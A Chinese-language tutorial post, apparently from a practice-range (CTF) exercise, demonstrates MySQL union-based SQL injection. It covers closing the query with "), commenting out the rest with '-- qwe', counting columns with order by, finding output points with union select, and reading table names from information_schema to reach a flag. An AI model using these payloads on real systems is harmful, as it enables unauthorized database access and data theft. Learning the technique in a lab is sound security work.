1. 程式人生 > 資料庫 >MYSQL顯錯注入演示

MYSQL顯錯注入演示

靶場題目:
在這裡插入圖片描述
注意閉合
用”)進行閉合 進行閉合後就不再是字串,輸入的資料可以被當成程式碼執行 id=() 閉合了前括號, 還有註釋掉後面的後括號,用-- qwe 主要是為了保留橫橫後面的空格,因為可以自動去除空格後的內容,就去掉了後括號
步驟

")order by 3 -- qwe
") union select 1,2,3 -- qwe
“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe

在這裡插入圖片描述

輸出點:

") union select 1,2,3 – qwe

1,2,3是欄位的佔位符,代表有三個欄位,回顯是2,3 說明有兩個輸出點。三個欄位能夠輸出資料的只有2個
eg:’)union select 4,5,6,7,8,9 – qwe 回顯是5,說明就只有一個輸出點
,下一條語句就可以寫成and 1=2 union select 1,table_name from infoamtion_schema.table…
數字只是佔位,但是必須寫

然後就可以寫“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe

在這裡插入圖片描述
這樣就找到了表名
接下來找欄位名
在這裡插入圖片描述
最後一步找想要的資料
在這裡插入圖片描述

嘿嘿 找到flag

union :

直接寫select 1,2,3 不符合語法規則
union select 1,2,3 中的union 是聯合查詢的意思,前面一條資料會優先返回,所以可以寫一個 and 1=2 讓前面的返回值為空,進而返回我們後面寫的語句
但是也可以不用寫 and 1=2 直接把id=1 改成一個不可能的數字 可以寫成這樣:eg :id=0.99999 之類的